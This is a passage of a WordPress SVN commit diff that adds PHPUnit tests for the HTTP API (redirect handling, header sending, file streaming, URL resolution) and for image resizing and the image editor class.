+               $result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is primed, expect no queries.
+               $result = wp_get_archives( array( 'type' => 'postbypost', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestshttpbasephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/http/base.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/http/base.php                          (rev 0)
+++ trunk/tests/tests/http/base.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,262 @@
</span><ins>+<?php
+/**
+ * Note, When running these tests, remember that some things are done differently
+ * based on safe_mode. You can run the test in safe_mode like such:
+ *
+ *   phpunit -d safe_mode=on --group http
+ *
+ * You may also need `-d safe_mode_gid=1` to relax the safe_mode checks to allow
+ * inclusion of PEAR.
+ *
+ * The WP_HTTP tests require a class-http.php file of r17550 or later.
+ */
+abstract class WP_HTTP_UnitTestCase extends WP_UnitTestCase {
+       // You can use your own version of data/WPHTTP-testcase-redirection-script.php here.
+       var $redirection_script = 'http://api.wordpress.org/core/tests/1.0/redirection.php';
+
+       function setUp() {
+
+               if ( is_callable( array('WP_HTTP', '_getTransport') ) ) {
+                       $this->markTestSkipped('The WP_HTTP tests require a class-http.php file of r17550 or later.');
+                       return;
+               }
+
+               $class = "WP_HTTP_" . $this->transport;
+               if ( !call_user_func( array($class, 'test') ) ) {
+                       $this->markTestSkipped( sprintf('The transport %s is not supported on this system', $this->transport) );
+               }
+
+               // Disable all transports aside from this one.
+               foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) {
+                       remove_filter( "use_{$t}_transport", '__return_false' ); // Just strip them all
+                       if ( $t != $this->transport )
+                               add_filter( "use_{$t}_transport", '__return_false' ); // and add it back if need be..
+               }
+       }
+
+       function tearDown() {
+               foreach ( array( 'curl', 'streams', 'fsockopen' ) as $t ) {
+                       remove_filter( "use_{$t}_transport", '__return_false' );
+               }
+               parent::tearDown();
+       }
+
+       function test_redirect_on_301() {
+               // 5 : 5 & 301
+               $res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 5) );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals(200, (int)$res['response']['code'] );
+       }
+
+       function test_redirect_on_302() {
+               // 5 : 5 & 302
+               $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 5) );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals(200, (int)$res['response']['code'] );
+       }
+
+       /**
+        * @ticket 16855
+        */
+       function test_redirect_on_301_no_redirect() {
+               // 5 > 0 & 301
+               $res = wp_remote_request($this->redirection_script . '?code=301&rt=' . 5, array('redirection' => 0) );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals(301, (int)$res['response']['code'] );
+       }
+
+       /**
+        * @ticket 16855
+        */
+       function test_redirect_on_302_no_redirect() {
+               // 5 > 0 & 302
+               $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals(302, (int)$res['response']['code'] );
+       }
+
+       function test_redirections_equal() {
+               // 5 - 5
+               $res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5) );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals(200, (int)$res['response']['code'] );
+       }
+
+       function test_no_head_redirections() {
+               // No redirections on HEAD request:
+               $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 1, array('method' => 'HEAD') );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals( 302, (int)$res['response']['code'] );
+       }
+
+       /**
+        * @ticket 16855
+        */
+       function test_redirect_on_head() {
+               // Redirections on HEAD request when Requested
+               $res = wp_remote_request($this->redirection_script . '?rt=' . 5, array('redirection' => 5, 'method' => 'HEAD') );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals( 200, (int)$res['response']['code'] );
+       }
+
+       function test_redirections_greater() {
+               // 10 > 5
+               $res = wp_remote_request($this->redirection_script . '?rt=' . 10, array('redirection' => 5) );
+               $this->assertTrue( is_wp_error($res), print_r($res, true) );
+       }
+
+       function test_redirections_greater_edgecase() {
+               // 6 > 5 (close edgecase)
+               $res = wp_remote_request($this->redirection_script . '?rt=' . 6, array('redirection' => 5) );
+               $this->assertTrue( is_wp_error($res) );
+       }
+
+       function test_redirections_less_edgecase() {
+               // 4 < 5 (close edgecase)
+               $res = wp_remote_request($this->redirection_script . '?rt=' . 4, array('redirection' => 5) );
+               $this->assertFalse( is_wp_error($res) );
+       }
+
+       /**
+        * @ticket 16855
+        */
+       function test_redirections_zero_redirections_specified() {
+               // 0 redirections asked for, Should return the document?
+               $res = wp_remote_request($this->redirection_script . '?code=302&rt=' . 5, array('redirection' => 0) );
+               $this->assertFalse( is_wp_error($res) );
+               $this->assertEquals( 302, (int)$res['response']['code'] );
+       }
+
+       /**
+        * Do not redirect on non 3xx status codes
+        *
+        * @ticket 16889
+        */
+       function test_location_header_on_201() {
+               // Prints PASS on initial load, FAIL if the client follows the specified redirection
+               $res = wp_remote_request( $this->redirection_script . '?201-location=true' );
+               $this->assertFalse( is_wp_error( $res ) );
+               $this->assertEquals( 'PASS', $res['body']);
+       }
+
+       /**
+        * Test handling of PUT requests on redirects
+        *
+        * @ticket 16889
+        */
+       function test_no_redirection_on_PUT() {
+               $url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?201-location=1';
+
+               // Test 301 - POST to POST
+               $res = wp_remote_request( $url, array( 'method' => 'PUT', 'timeout' => 30 ) );
+               $this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+               $this->assertTrue( !empty( $res['headers']['location'] ) );
+       }
+
+       /**
+        * @ticket 11888
+        */
+       function test_send_headers() {
+               // Test that the headers sent are recieved by the server
+               $headers = array('test1' => 'test', 'test2' => 0, 'test3' => '');
+               $res = wp_remote_request( $this->redirection_script . '?header-check', array('headers' => $headers) );
+
+               $this->assertFalse( is_wp_error($res) );
+
+               $headers = array();
+               foreach ( explode("\n", $res['body']) as $key => $value ) {
+                       if ( empty($value) )
+                               continue;
+                       $parts = explode(':', $value,2);
+                       unset($headers[$key]);
+                       $headers[ $parts[0] ] = $parts[1];
+               }
+
+               $this->assertTrue( isset($headers['test1']) && 'test' == $headers['test1'] );
+               $this->assertTrue( isset($headers['test2']) && '0' === $headers['test2'] );
+               // cURL/HTTP Extension Note: Will never pass, cURL does not pass headers with an empty value.
+               // Should it be that empty headers with empty values are NOT sent?
+               //$this->assertTrue( isset($headers['test3']) && '' === $headers['test3'] );
+       }
+
+       function test_file_stream() {
+               $url = 'http://unit-tests.svn.wordpress.org/trunk/data/images/2004-07-22-DSC_0007.jpg'; // we'll test against a file in the unit test data
+               $size = 87348;
+               $res = wp_remote_request( $url, array( 'stream' => true, 'timeout' => 30 ) ); //Auto generate the filename.
+
+               $this->assertFalse( is_wp_error( $res ) );
+               $this->assertEquals( '', $res['body'] ); // The body should be empty.
+               $this->assertEquals( $size, $res['headers']['content-length'] ); // Check the headers are returned (and the size is the same..)
+               $this->assertEquals( $size, filesize($res['filename']) ); // Check that the file is written to disk correctly without any extra characters
+
+               unlink($res['filename']); // Remove the temporary file
+       }
+
+       /**
+        * Test POST redirection methods
+        *
+        * @ticket 17588
+        */
+       function test_post_redirect_to_method_300() {
+               $url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?post-redirect-to-method=1';
+
+               // Test 300 - POST to POST
+               $res = wp_remote_post( add_query_arg( 'response_code', 300, $url ), array( 'timeout' => 30 ) );
+               $this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) );
+
+               // Test 301 - POST to POST
+               $res = wp_remote_post( add_query_arg( 'response_code', 301, $url ), array( 'timeout' => 30 ) );
+               $this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) );
+
+               // Test 302 - POST to GET
+               $res = wp_remote_post( add_query_arg( 'response_code', 302, $url ), array( 'timeout' => 30 ) );
+               $this->assertEquals( 'GET', wp_remote_retrieve_body( $res ) );
+
+               // Test 303 - POST to GET
+               $res = wp_remote_post( add_query_arg( 'response_code', 303, $url ), array( 'timeout' => 30 ) );
+               $this->assertEquals( 'GET', wp_remote_retrieve_body( $res ) );
+
+               // Test 304 - POST to POST
+               $res = wp_remote_post( add_query_arg( 'response_code', 304, $url ), array( 'timeout' => 30 ) );
+               $this->assertEquals( 'POST', wp_remote_retrieve_body( $res ) );
+       }
+
+       /**
+        * Test HTTP Requests using an IP url, with a HOST header specified
+        *
+        * @ticket 24182
+        */
+       function test_ip_url_with_host_header() {
+               $ip = gethostbyname( 'api.wordpress.org' );
+               $url = 'http://' . $ip . '/core/tests/1.0/redirection.php?print-pass=1';
+               $args = array(
+                       'headers' => array(
+                               'Host' => 'api.wordpress.org',
+                       ),
+                       'timeout' => 30,
+                       'redirection' => 0,
+               );
+
+               $res = wp_remote_get( $url, $args );
+               $this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+
+       }
+
+       /**
+        * Test HTTP Redirects with multiple Location headers specified
+        *
+        * @ticket 16890
+        */
+       function test_multiple_location_headers() {
+               $url = 'http://api.wordpress.org/core/tests/1.0/redirection.php?multiple-location-headers=1';
+               $res = wp_remote_head( $url, array( 'timeout' => 30 ) );
+
+               $this->assertInternalType( 'array', wp_remote_retrieve_header( $res, 'location' ) );
+               $this->assertCount( 2, wp_remote_retrieve_header( $res, 'location' ) );
+
+               $res = wp_remote_get( $url, array( 'timeout' => 30 ) );
+               $this->assertEquals( 'PASS', wp_remote_retrieve_body( $res ) );
+
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestshttpcurlphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/http/curl.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/http/curl.php                          (rev 0)
+++ trunk/tests/tests/http/curl.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,11 @@
</span><ins>+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_curl extends WP_HTTP_UnitTestCase {
+       var $transport = 'curl';
+}
</ins></span></pre></div>
<a id="trunkteststestshttpfsockopenphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/http/fsockopen.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/http/fsockopen.php                             (rev 0)
+++ trunk/tests/tests/http/fsockopen.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,20 @@
</span><ins>+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_fsockopen extends WP_HTTP_UnitTestCase {
+       var $transport = 'fsockopen';
+       function setUp() {
+               add_filter( 'pre_option_disable_fsockopen', '__return_null' );
+               parent::setUp();
+       }
+
+       function tearDown() {
+               remove_filter( 'pre_option_disable_fsockopen', '__return_null' );
+               parent::tearDown();
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestshttpfunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/http/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/http/functions.php                             (rev 0)
+++ trunk/tests/tests/http/functions.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,78 @@
</span><ins>+<?php
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_Functions extends WP_UnitTestCase {
+       function test_head_request() {
+               // this url give a direct 200 response
+               $url = 'http://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg';
+               $response = wp_remote_head( $url );
+               $headers = wp_remote_retrieve_headers( $response );
+
+               $this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+               $this->assertEquals( 'image/jpeg', $headers['content-type'] );
+               $this->assertEquals( '40148', $headers['content-length'] );
+               $this->assertEquals( '200', wp_remote_retrieve_response_code( $response ) );
+       }
+
+       function test_head_redirect() {
+               // this url will 301 redirect
+               $url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+               $response = wp_remote_head( $url );
+               $this->assertEquals( '301', wp_remote_retrieve_response_code( $response ) );
+       }
+
+       function test_head_404() {
+               $url = 'http://asdftestblog1.files.wordpress.com/2007/09/awefasdfawef.jpg';
+               $headers = wp_remote_head( $url );
+
+               $this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+               $this->assertEquals( '404', wp_remote_retrieve_response_code( $headers ) );
+       }
+
+       function test_get_request() {
+               $url = 'http://asdftestblog1.files.wordpress.com/2007/09/2007-06-30-dsc_4700-1.jpg';
+               $file = tempnam('/tmp', 'testfile');
+
+               $headers = wp_get_http($url, $file);
+
+               // should return the same headers as a head request
+               $this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+               $this->assertEquals( 'image/jpeg', $headers['content-type'] );
+               $this->assertEquals( '40148', $headers['content-length'] );
+               $this->assertEquals( '200', $headers['response'] );
+
+               // make sure the file is ok
+               $this->assertEquals( 40148, filesize($file) );
+               $this->assertEquals( 'b0371a0fc575fcf77f62cd298571f53b', md5_file($file) );
+       }
+
+       function test_get_redirect() {
+               // this will redirect to asdftestblog1.files.wordpress.com
+               $url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+               $file = tempnam('/tmp', 'testfile');
+
+               $headers = wp_get_http($url, $file);
+
+               // should return the same headers as a head request
+               $this->assertInternalType( 'array', $headers, "Reply wasn't array." );
+               $this->assertEquals( 'image/jpeg', $headers['content-type'] );
+               $this->assertEquals( '40148', $headers['content-length'] );
+               $this->assertEquals( '200', $headers['response'] );
+
+               // make sure the file is ok
+               $this->assertEquals( 40148, filesize($file) );
+               $this->assertEquals( 'b0371a0fc575fcf77f62cd298571f53b', md5_file($file) );
+       }
+
+       function test_get_redirect_limit_exceeded() {
+               // this will redirect to asdftestblog1.files.wordpress.com
+               $url = 'http://asdftestblog1.wordpress.com/files/2007/09/2007-06-30-dsc_4700-1.jpg';
+               $file = tempnam('/tmp', 'testfile');
+               // pretend we've already redirected 5 times
+               $headers = wp_get_http( $url, $file, 6 );
+               $this->assertFalse( $headers );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestshttphttpphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/http/http.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/http/http.php                          (rev 0)
+++ trunk/tests/tests/http/http.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,62 @@
</span><ins>+<?php
+/**
+ * Non-transport-specific WP_HTTP Tests
+ *
+ * @group http
+ */
+class Tests_HTTP_HTTP extends WP_UnitTestCase {
+
+       /**
+        * @dataProvider make_absolute_url_testcases
+        */
+       function test_make_absolute_url( $relative_url, $absolute_url, $expected ) {
+               if ( ! is_callable( array( 'WP_HTTP', 'make_absolute_url' ) ) ) {
+                       $this->markTestSkipped( "This version of WP_HTTP doesn't support WP_HTTP::make_absolute_url()" );
+                       return;
+               }
+
+               $actual = WP_HTTP::make_absolute_url( $relative_url, $absolute_url );
+               $this->assertEquals( $expected, $actual );
+       }
+
+       function make_absolute_url_testcases() {
+               // 0: The Location header, 1: The current url, 3: The expected url
+               return array(
+                       array( 'http://site.com/', 'http://example.com/', 'http://site.com/' ), // Absolute URL provided
+                       array( '/location', '', '/location' ), // No current url provided
+
+                       array( '', 'http://example.com', 'http://example.com/' ), // No location provided
+
+                       // Location provided relative to site root
+                       array( '/root-relative-link.ext', 'http://example.com/', 'http://example.com/root-relative-link.ext' ),
+                       array( '/root-relative-link.ext?with=query', 'http://example.com/index.ext?query', 'http://example.com/root-relative-link.ext?with=query' ),
+
+                       // Location provided relative to current file/directory
+                       array( 'relative-file.ext', 'http://example.com/', 'http://example.com/relative-file.ext' ),
+                       array( 'relative-file.ext', 'http://example.com/filename', 'http://example.com/relative-file.ext' ),
+                       array( 'relative-file.ext', 'http://example.com/directory/', 'http://example.com/directory/relative-file.ext' ),
+
+                       // Location provided relative to current file/directory but in a parent directory
+                       array( '../file-in-parent.ext', 'http://example.com', 'http://example.com/file-in-parent.ext' ),
+                       array( '../file-in-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-parent.ext' ),
+                       array( '../file-in-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-parent.ext' ),
+                       array( '../file-in-parent.ext', 'http://example.com/directory/filename', 'http://example.com/file-in-parent.ext' ),
+
+                       // Location provided in muliple levels higher, including impossible to reach (../ below DOCROOT)
+                       array( '../../file-in-grand-parent.ext', 'http://example.com', 'http://example.com/file-in-grand-parent.ext' ),
+                       array( '../../file-in-grand-parent.ext', 'http://example.com/filename', 'http://example.com/file-in-grand-parent.ext' ),
+                       array( '../../file-in-grand-parent.ext', 'http://example.com/directory/', 'http://example.com/file-in-grand-parent.ext' ),
+                       array( '../../file-in-grand-parent.ext', 'http://example.com/directory/filename/', 'http://example.com/file-in-grand-parent.ext' ),
+                       array( '../../file-in-grand-parent.ext', 'http://example.com/directory1/directory2/filename', 'http://example.com/file-in-grand-parent.ext' ),
+
+                       // Query strings should attach, or replace existing query string.
+                       array( '?query=string', 'http://example.com', 'http://example.com/?query=string' ),
+                       array( '?query=string', 'http://example.com/file.ext', 'http://example.com/file.ext?query=string' ),
+                       array( '?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/file.ext?query=string' ),
+                       array( 'otherfile.ext?query=string', 'http://example.com/file.ext?existing=query-string', 'http://example.com/otherfile.ext?query=string' ),
+
+                       // A file with a leading dot
+                       array( '.ext', 'http://example.com/', 'http://example.com/.ext' )
+               );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestshttpstreamsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/http/streams.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/http/streams.php                               (rev 0)
+++ trunk/tests/tests/http/streams.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,11 @@
</span><ins>+<?php
+
+require_once dirname( __FILE__ ) . '/base.php';
+
+/**
+ * @group http
+ * @group external-http
+ */
+class Tests_HTTP_streams extends WP_HTTP_UnitTestCase {
+       var $transport = 'streams';
+}
</ins></span></pre></div>
<a id="trunkteststestsimagebasephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/base.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/base.php                         (rev 0)
+++ trunk/tests/tests/image/base.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,50 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ */
+abstract class WP_Image_UnitTestCase extends WP_UnitTestCase {
+
+       /**
+        * Set the image editor engine according to the unit test's specification
+        */
+       public function setUp() {
+               if ( ! call_user_func( array( $this->editor_engine, 'test' ) ) ) {
+                       $this->markTestSkipped( sprintf('The image editor engine %s is not supported on this system', $this->editor_engine) );
+               }
+
+               add_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 );
+       }
+
+       /**
+        * Undo the image editor override
+        */
+       public function tearDown() {
+               remove_filter( 'wp_image_editors', array( $this, 'setEngine' ), 10, 2 );
+       }
+
+       /**
+        * Override the image editor engine
+        * @return string
+        */
+       public function setEngine( $editors ) {
+               return array( $this->editor_engine );
+       }
+
+       /**
+        * Helper assertion for testing alpha on images
+        * 
+        * @param  string $image_path
+        * @param  array $point      array(x,y)
+        * @param  int $alpha
+        */
+       protected function assertImageAlphaAtPoint( $image_path, $point, $alpha ) {
+
+               $im = imagecreatefrompng( $image_path );
+               $rgb = imagecolorat($im, $point[0], $point[1]);
+
+               $colors = imagecolorsforindex($im, $rgb);
+
+               $this->assertEquals( $alpha, $colors['alpha'] );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsimagedimensionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/dimensions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/dimensions.php                           (rev 0)
+++ trunk/tests/tests/image/dimensions.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,131 @@
</span><ins>+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Dimensions extends WP_UnitTestCase {
+       function test_400x400_no_crop() {
+               // landscape: resize 640x480 to fit 400x400: 400x300
+               $out = image_resize_dimensions(640, 480, 400, 400, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+               // portrait: resize 480x640 to fit 400x400: 300x400
+               $out = image_resize_dimensions(480, 640, 400, 400, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+       }
+
+       function test_400x0_no_crop() {
+               // landscape: resize 640x480 to fit 400w: 400x300
+               $out = image_resize_dimensions(640, 480, 400, 0, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+               // portrait: resize 480x640 to fit 400w: 400x533
+               $out = image_resize_dimensions(480, 640, 400, 0, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out );
+       }
+
+       function test_0x400_no_crop() {
+               // landscape: resize 640x480 to fit 400h: 533x400
+               $out = image_resize_dimensions(640, 480, 0, 400, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out );
+
+               // portrait: resize 480x640 to fit 400h: 300x400
+               $out = image_resize_dimensions(480, 640, 0, 400, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+       }
+
+       function test_800x800_no_crop() {
+               // landscape: resize 640x480 to fit 800x800
+               $out = image_resize_dimensions(640, 480, 800, 800, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( false, $out );
+
+               // portrait: resize 480x640 to fit 800x800
+               $out = image_resize_dimensions(480, 640, 800, 800, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( false, $out );
+       }
+
+       function test_800x0_no_crop() {
+               // landscape: resize 640x480 to fit 800w
+               $out = image_resize_dimensions(640, 480, 800, 0, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( false, $out );
+
+               // portrait: resize 480x640 to fit 800w
+               $out = image_resize_dimensions(480, 640, 800, 0, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( false, $out );
+       }
+
+       function test_0x800_no_crop() {
+               // landscape: resize 640x480 to fit 800h
+               $out = image_resize_dimensions(640, 480, 0, 800, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( false, $out );
+
+               // portrait: resize 480x640 to fit 800h
+               $out = image_resize_dimensions(480, 640, 0, 800, false);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( false, $out );
+       }
+
+       // cropped versions
+
+       function test_400x400_crop() {
+               // landscape: crop 640x480 to fit 400x400: 400x400 taken from a 480x480 crop at (80. 0)
+               $out = image_resize_dimensions(640, 480, 400, 400, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 80, 0, 400, 400, 480, 480), $out );
+
+               // portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80)
+               $out = image_resize_dimensions(480, 640, 400, 400, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 80, 400, 400, 480, 480), $out );
+       }
+
+       function test_400x0_crop() {
+               // landscape: resize 640x480 to fit 400w: 400x300
+               $out = image_resize_dimensions(640, 480, 400, 0, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 400, 300, 640, 480), $out );
+
+               // portrait: resize 480x640 to fit 400w: 400x533
+               $out = image_resize_dimensions(480, 640, 400, 0, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 400, 533, 480, 640), $out );
+       }
+
+       function test_0x400_crop() {
+               // landscape: resize 640x480 to fit 400h: 533x400
+               $out = image_resize_dimensions(640, 480, 0, 400, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 533, 400, 640, 480), $out );
+
+               // portrait: resize 480x640 to fit 400h: 300x400
+               $out = image_resize_dimensions(480, 640, 0, 400, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 0, 300, 400, 480, 640), $out );
+       }
+
+       function test_400x500_crop() {
+               // landscape: crop 640x480 to fit 400x500: 400x400 taken from a 480x480 crop at (80. 0)
+               $out = image_resize_dimensions(640, 480, 400, 500, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 120, 0, 400, 480, 400, 480), $out );
+
+               // portrait: resize 480x640 to fit 400x400: 400x400 taken from a 480x480 crop at (0. 80)
+               $out = image_resize_dimensions(480, 640, 400, 500, true);
+               // dst_x, dst_y, src_x, src_y, dst_w, dst_h, src_w, src_h
+               $this->assertEquals( array(0, 0, 0, 20, 400, 500, 480, 600), $out );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsimageeditorphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/image/editor.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/image/editor.php                               (rev 0)
+++ trunk/tests/tests/image/editor.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,149 @@
</span><ins>+<?php
+
+/**
+ * Test the WP_Image_Editor base class
+ * @group image
+ * @group media
+ */
+class Tests_Image_Editor extends WP_Image_UnitTestCase {
+       public $editor_engine = 'WP_Image_Editor_Mock';
+
+       /**
+        * Setup test fixture
+        */
+       public function setup() {
+               require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+
+               include_once( DIR_TESTDATA . '/../includes/mock-image-editor.php' );
+
+               parent::setUp();
+       }
+
+       /**
+        * Test wp_get_image_editor() where load returns true
+        * @ticket 6821
+        */
+       public function test_get_editor_load_returns_true() {
+               $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+               $this->assertInstanceOf( 'WP_Image_Editor_Mock', $editor );
+       }
+
+       /**
+        * Test wp_get_image_editor() where load returns false
+        * @ticket 6821
+        */
+       public function test_get_editor_load_returns_false() {
+               WP_Image_Editor_Mock::$load_return = new WP_Error();
+
+               $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+               $this->assertInstanceOf( 'WP_Error', $editor );
+
+               WP_Image_Editor_Mock::$load_return = true;
+       }
+
+       /**
+        * Test test_quality
+        * @ticket 6821
+        */
+       public function test_set_quality() {
+
+               // Get an editor
+               $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+               // Make quality readable
+               $property = new ReflectionProperty( $editor, 'quality' );
+               $property->setAccessible( true );
+
+               // Ensure set_quality works
+               $this->assertTrue( $editor->set_quality( 75 ) );
+               $this->assertEquals( 75, $property->getValue( $editor ) );
+
+               // Ensure the quality filter works
+               $func = create_function( '', "return 100;");
+               add_filter( 'wp_editor_set_quality', $func );
+               $this->assertTrue( $editor->set_quality( 75 ) );
+               $this->assertEquals( 100, $property->getValue( $editor ) );
+
+               // Clean up
+               remove_filter( 'wp_editor_set_quality', $func );
+       }
+
+       /**
+        * Test generate_filename
+        * @ticket 6821
+        */
+       public function test_generate_filename() {
+
+               // Get an editor
+               $editor = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+
+               $property = new ReflectionProperty( $editor, 'size' );
+               $property->setAccessible( true );
+               $property->setValue( $editor, array(
+                       'height' => 50,
+                       'width'  => 100
+               ));
+
+               // Test with no parameters
+               $this->assertEquals( 'canola-100x50.jpg', basename( $editor->generate_filename() ) );
+
+               // Test with a suffix only
+               $this->assertEquals( 'canola-new.jpg', basename( $editor->generate_filename( 'new' ) ) );
+
+               // Test with a destination dir only
+               $this->assertEquals(trailingslashit( realpath( get_temp_dir() ) ), trailingslashit( realpath( dirname( $editor->generate_filename( null, get_temp_dir() ) ) ) ) );
+
+               // Test with a suffix only
